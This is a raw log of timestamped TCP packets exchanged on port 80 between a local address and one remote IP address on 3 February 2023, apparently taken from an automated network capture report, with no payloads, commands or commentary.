Feb 3, 2023 20:39:59.572175980 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572180033 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572201014 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572216034 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572222948 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572247028 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572263002 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572271109 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572294950 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572309017 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572316885 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572340012 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572355032 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572362900 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572386026 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572398901 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572407961 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572429895 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572443962 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572452068 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572474003 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572489023 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.572498083 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.572542906 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.696811914 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.696856976 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.696877003 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.696891069 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.696923018 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.696948051 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.696971893 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.696995974 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697019100 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697042942 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697065115 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697093964 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697098017 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697118998 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697145939 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697170019 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697189093 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697216034 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697217941 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697242022 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697263002 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697271109 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697288990 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697310925 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697315931 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697335958 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697350979 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697359085 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697382927 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697403908 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697417021 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697427034 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697459936 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697483063 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697489977 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697506905 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697530985 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697534084 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697554111 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697572947 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697577000 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697607040 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697626114 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697628975 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697650909 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697669029 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697674036 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697695971 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697715044 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697717905 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697740078 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697757959 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697762966 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697784901 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697804928 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697808981 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697832108 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697850943 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697854996 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697877884 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697894096 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697901011 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697922945 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697941065 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697946072 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697968006 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.697983027 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.697989941 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.698026896 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822180033 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822218895 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822252035 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822277069 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822299957 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822321892 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822345018 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822369099 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822375059 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822391987 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822416067 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822428942 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822438955 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822458029 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822463036 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822484970 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822508097 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822510958 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822530031 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822550058 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822554111 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822577000 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822590113 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822599888 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822623014 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822638988 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822647095 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822669983 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822683096 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822709084 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822732925 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822748899 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822757006 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822779894 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822794914 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822803974 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822829008 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822838068 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822850943 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822874069 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822887897 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822896004 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822918892 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822932005 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822942019 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822963953 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.822974920 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.822985888 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823008060 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823020935 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.823030949 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823052883 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823069096 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.823076963 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823098898 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823116064 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.823120117 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823143959 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823157072 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.823167086 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823190928 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823203087 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.823214054 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823236942 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823251963 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.823261023 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823283911 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823296070 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.823307037 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823329926 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823343039 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.823354006 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.823389053 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.947892904 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.947937965 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.947979927 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948010921 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948040962 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948070049 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948100090 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948107004 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948133945 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948152065 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948165894 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948191881 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948194981 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948224068 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948237896 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948255062 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948285103 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948292971 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948317051 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948347092 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948353052 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948378086 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948407888 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948415041 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948437929 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948467970 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948472977 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948497057 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948527098 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948532104 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948558092 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948589087 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948591948 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948620081 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948649883 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948656082 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948678970 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948708057 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948714018 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948736906 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948765993 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948774099 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948796988 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948827028 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948837996 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948858976 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948889017 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948896885 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948916912 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948945999 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.948954105 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.948973894 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949001074 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949007988 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.949029922 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949059963 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949067116 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.949089050 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949117899 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949137926 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.949151993 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949182034 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949194908 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.949212074 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949242115 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949253082 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.949338913 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949379921 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.949471951 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949539900 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949582100 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:39:59.949604988 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949661970 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:39:59.949706078 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.128393888 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128464937 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128485918 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128510952 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128544092 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128570080 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128592968 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128617048 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128639936 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128667116 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128691912 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128710985 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128731966 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128756046 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128782988 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128809929 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128808022 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.128839016 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128873110 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128900051 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128928900 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128952026 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.128957033 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128981113 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.128989935 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129004002 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129028082 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129033089 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129056931 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129081011 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129103899 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129103899 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129127979 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129122019 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129153967 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129175901 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129179001 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129204035 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129228115 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129228115 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129254103 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129276991 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129287958 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129303932 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129331112 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129342079 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129355907 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129368067 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129379034 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129400015 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129422903 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129443884 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129446030 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129468918 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129483938 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129491091 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129513979 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129514933 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129535913 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129550934 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129559994 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129582882 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129606009 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129609108 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129628897 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129643917 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.129652023 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.129689932 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.264369965 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264461994 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264523029 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264590979 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264607906 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.264617920 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264636993 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264653921 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264672041 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264719009 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264735937 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.264744043 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264760017 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264795065 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264806032 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.264820099 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264833927 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.264851093 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264877081 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.264883995 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264919996 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264942884 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264961004 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.264971972 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.264991999 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265007973 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265037060 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265049934 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.265064955 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265089035 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265110970 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.265146017 CET	80	49696	23.94.99.119	192.168.2.4
